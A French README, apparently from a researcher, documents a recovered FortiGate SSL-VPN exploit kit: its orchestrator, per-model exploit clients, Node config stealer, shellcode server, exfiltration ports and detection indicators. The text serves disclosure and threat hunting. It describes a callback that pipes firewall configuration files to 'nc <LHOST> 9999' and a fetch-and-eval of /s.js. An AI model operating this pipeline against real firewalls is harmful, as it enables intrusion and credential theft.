Le pot d'or SSL-VPN FortiGate. CVE-2024-21762 et CVE-2023-27997. 79 clients d'exploitation fonctionnels. 53 références matérielles. 55 builds FortiOS.
Archive de recherche. Récupéré tel quel. Je n'ai pas écrit ces fichiers.
Publié : 1er septembre 2026
Ce dépôt contient l'orchestrateur, les charges utiles de deuxième étape et les écouteurs opérateur qui se superposent à un catalogue d'exploits FortiGate SSL-VPN par SKU. L'histoire complète, les comptages et les notes de chasse se trouvent dans la série The SSL-VPN pot of gold sur Abraxas Labs.
N'exécutez pas ce matériel contre un hôte sans autorisation écrite explicite de la partie hébergeant ce dépôt et du propriétaire des systèmes cibles. Les CVE associées étaient publiques et corrigées avant cette publication. Cette arborescence est destinée à la recherche, à la détection et à l'analyse historique.
J'ai trouvé un kit privé FortiGate SSL-VPN dans la nature. Le premier dépôt était un répertoire de clients fonctionnels : des noms comme et . Chaque fichier est un client de corruption mémoire . Deux n-days publics, réestampillés sur du matériel et des firmwares jusqu'à ce que le dossier ressemble à un catalogue de pièces détachées.
exp/exp_60E-v6.4.7.pyL'or est la matrice d'offsets, pas un nouveau bug. Cet argument est développé dans Phase 0 de la série. Phase 1 couvre les deux primitives en tant que comportement. Phase 2 est la carte SKU / train / CPU consultable. Phase 3 est la chasse.
Ce dépôt est le reste du même kit, pas une deuxième famille d'exploits.
exp/ sont les clients par image déjà décrits dans la série.shellcode/ sont le lanceur, la récupération d'implant et les écouteurs de vol de configuration que ces clients étaient conçus pour appeler.exp_*.py ne contenaient jamais l'implant. Ils savaient seulement (1) récupérer des octets bruts depuis un « serveur de shellcode » ou (2) faire GET /s.js et l'eval. Ces pièces manquantes sont ici.Les primitives :
| Famille | CVE | Avis Fortinet | Couleur publique |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Les deux figurent dans le catalogue des vulnérabilités exploitées connues de la CISA. poc.py n'implémente pas l'une ou l'autre de ces CVE. Il sélectionne et encapsule les deux familles déjà classifiées (écriture par blocs 21762 ; débordement de tas enc= 27997).
.
├── poc.py # lanceur pocsuite3 / empreinte / gestionnaire de processus
├── s.js # deuxième étape Node (voleur de configuration)
├── send_cmd.py # gestionnaire de rappel pour le chemin stager
├── init.sh # installation des paquets du poste opérateur
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # pompe de blobs préfixés par longueur
├── shellcode_arm # ~2,0 Mo de deuxième étape brute
└── shellcode_amd64 # ~2,7 Mo de deuxième étape brute
exp/index.html et shellcode/index.html sont des listes de répertoires Python http.server ordinaires. Elles montrent seulement que cette arborescence a été hébergée comme racine web à un moment donné.
Cette copie de exp/ est le catalogue antérieur plus quatre clients supplémentaires : exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py orchestrateur (pocsuite3)
│
├─ portail d'empreinte ────── VERSION_LIBS (hash → SKU + FortiOS)
├─ sélection du fichier ───── exp/exp_<SKU>-v<ver>.py
│
├─ si le client est de type "stager" (Famille A ARM / certains amd64)
│ démarrer shellcode/shellcode_server.py
│ lit shellcode/shellcode_arm ou shellcode_amd64
│ démarrer send_cmd.py (attente du rappel)
│ démarrer le récepteur de configuration sur :9999
│ exécuter le exp_*.py choisi
│
└─ si le client est de type "Node /s.js" (plupart Famille B + beaucoup Famille A)
servir s.js via HTTP
démarrer le récepteur de configuration sur :9999
exécuter le exp_*.py choisi
→ pare-feu GET /s.js → eval → exfiltration
Pipeline en une ligne : identifier → sélectionner le fichier d'offsets → corrompre sslvpnd → récupérer l'implant → exfiltrer /data/config/*.gz → archiver côté opérateur.
Cette dernière étape est le point crucial. Une réussite est une exécution de code non authentifiée dans sslvpnd sur le pare-feu lui-même — terminateur TLS, politique de routage, sessions VPN, souvent des liaisons LDAP/RADIUS. FortiOS n'offre pas de /bin/sh utile. La recherche publique et ce kit passent tous deux par un assistant de commande interne et/ou /bin/node, que FortiOS fournit effectivement. Considérez une réussite confirmée comme une compromission de la périphérie réseau, pas un démon planté. Voir Ce que signifie une réussite.
poc.py — lanceurInterface opérateur (pocsuite3 POCBase). Il n'implémente pas CVE-2024-21762 ni CVE-2023-27997.
https://<cible>/remote/login?lang=en (repli GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 lignes hash,SKU,version). Cette table est la raison pour laquelle le kit peut choisir parmi plus de 50 appliances sans que l'opérateur nomme le SKU. Mêmes SKU que la matrice, pilotés par un hash de ressource SSL-VPN public plutôt que par SNMP ou une API de gestion.exp/exp_<SKU>-v<version>.py.s.js → type 2 (chargeur Node)Shellcode Server → type 1 (stager) ; puis recherche arm vs amd64 dans le scriptPopen sur le exp_*.py avec les arguments hôte/port/rappel.Adresse opérateur par défaut dans cette copie : HOST_IP depuis l'environnement, sinon ATTACKER_HOST. Les adresses IPv4 littérales de cette arborescence ont été remplacées par des étiquettes de rôle (ports inchangés) :
| Étiquette | Rôle | Où elle apparaissait |
|---|---|---|
TARGET_HOST | FortiGate attaqué | Jamais codé en dur ; rhost / target depuis argv (voir poc.py) |
ATTACKER_HOST | Poste opérateur | HOST_IP par défaut dans poc.py ; adresses de liaison dans poc.py, send_cmd.py, shellcode/shellcode_server.py ; espaces réservés s.js / TFTP des exp_*.py remplis avec lhost |
C2_HOST | Rappel intégré dans cette copie de l'implant | s.js — pas le lhost passé à l'exploit |
| Port | Rôle |
|---|---|
| 7777 | Rappel / send_cmd.py |
| 8888 | Serveur de shellcode |
| 9999 | Récepteur de configuration (correspond à l'exfiltration de s.js et send_cmd.py) |
Si le hash du portail est absent de VERSION_LIBS, il s'arrête avec « unknown target hash ». Si le hash correspond mais que le fichier exp/ est absent, « no exp ».
s.js — la deuxième étape Node manquanteC'est le fichier que les clients Famille B / Node Famille A récupèrent après execute_cmd. Ce n'est pas un reverse shell général.
C2_HOST:9999 (hôte C2, pas TARGET_HOST et pas le lhost / ATTACKER_HOST passé à l'exploit — cette copie a été figée pour un seul rappel opérateur)./data/config/ sur le pare-feu.*.gz non-symlinks (objets de configuration compressés FortiOS).C'est un voleur de configuration. Cela explique pourquoi poc.py écoute aussi sur 9999 et réassemble les fichiers dans un résultat base64. Cherchez C2_HOST sur le port 9999 depuis toute sortie FortiGate. Notes de chasse : Phase 3.
send_cmd.py — gestionnaire de rappel pour le chemin stagerUtilisé lorsque le exp_*.py choisi est du type shellcode ARM/amd64 (l'usage inclut un serveur de shellcode).
cd /data/config et cat de chaque *.gz vers nc <LHOST> 9999.s.js (voler la configuration), transport différent (rappel shell vs Node).Une variante commentée utilisait un encadrement base64 au lieu d'un cat brut.
shellcode/shellcode_server.py — pompe d'octets pour les stagers Famille ACorrespond au protocole déjà visible dans les stubs ARM32 exp_*.py :
poc.py utilise 8888).shellcode_<arch> depuis le même répertoire.Les stagers exp_*.py se connectent ici, mappent de la mémoire exécutable-écrivable, récupèrent le blob, puis se reconnectent à lhost:lport (7777 → send_cmd.py).
Blobs bruts de deuxième étape (~2,0 Mo ARM, ~2,7 Mo amd64). C'est ce que le stager télécharge. Ce ne sont pas les petits stubs Thumb dans les fichiers Python ; ces stubs ne font que récupérer ces fichiers. Traitez-les comme l'implant pour le chemin non-Node. La taille suggère des charges utiles compressées ou statiques, pas quelques dizaines d'instructions.
init.sh — configuration du poste opérateurNon utilisé contre le pare-feu. Installe build-essential, binutils-arm-linux-gnueabihf et gcc-aarch64-linux-gnu. C'est pour compiler des morceaux ARM/AArch64 sur une machine d'attaque de type Debian. Cohérent avec un auteur qui compile des stagers plutôt que de ne livrer que du Python.
Une seule ligne : pwntools. Les fichiers exp_*.py et shellcode_server.py l'importent. poc.py veut aussi pocsuite3, python-dotenv, mmh3 et requests.
exp/| Déjà décrit dans la série | Rôle dans cette arborescence |
|---|---|
exp_*.py ARM Famille A (arguments stager) | Première étape. Appelle shellcode_server.py + shellcode_arm (ou amd64), puis lhost:7777. |
exp_*.py Node Famille A/B (/s.js) | Première étape. HTTP GET du s.js parent, puis eval. |
Variantes TFTP / /tmp/s série D 6.0 | Même objectif s.js via TFTP ; attend toujours ce fichier sur la racine HTTP de l'opérateur. |
Rien dans le répertoire parent n'implémente une troisième CVE. Les comptages, la carte thermique des SKU et l'alignement des trains (Famille A jusqu'à 7.4.0 / 7.4.1 ; Famille B dans la fenêtre 27997) sont dans Phase 0 et Phase 2. Reciblage le plus lourd dans le catalogue original : FortiGate-60E, 100E, 60F, 100F — matériel de succursale.
Le premier dépôt s'arrêtait à « obtenir un rappel ». Les corps de deuxième étape manquaient. Cette arborescence rend l'objectif explicite :
/data/config/*.gz, pas « RCE générique ». C'est une compromission d'identifiants et de topologie (utilisateurs VPN, routes, secrets stockés dans ces objets).VERSION_LIBS dans poc.py est une liste prête à l'emploi « quel SKU pensaient-ils que ce hash était ».La reconnaissance du portail et les URI de première étape sont documentées dans Hunting the kit. Les plus distinctifs déjà signalés dans les écrits publics et dans cette arborescence :
GET /remote/login et /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate avec enc=GET /s.js depuis le pare-feuC2_HOST:9999 dans cette copie de s.js (hôte C2)ATTACKER_HOST 7777 / 8888 / 9999 (hôte attaquant)TARGET_HOST est le rhost fourni au moment de l'exécutionCherchez la sortie du pare-feu (TARGET_HOST) vers C2_HOST:9999 et vers tout ATTACKER_HOST ayant servi /s.js pendant la fenêtre concernée.
D'après l'introduction :
Un PoC public contre une VM est un artefact différent. Ce pack est destiné à celui qui a répondu à la reconnaissance.
Si vous exploitez des FortiGates : inventoriez le modèle, le FortiOS exact, SSL-VPN activé ou non, et si le portail était accessible depuis des réseaux non fiables. Puis lisez Phase 2. N'inventoriez pas seulement les boîtiers de succursale série 60 parce que ces noms de fichiers étaient les plus visibles.
Ces fichiers ont été récupérés dans la nature lors d'une recherche en sécurité indépendante. Je ne les ai pas créés. Ils sont publiés tels que trouvés, après que les CVE associées ont été divulguées publiquement et corrigées.
Usage recherche / éducatif uniquement. N'exécutez, ne déployez et n'utilisez pas ce matériel contre un hôte sans autorisation écrite explicite de la partie hébergeant ce dépôt et du propriétaire des systèmes cibles.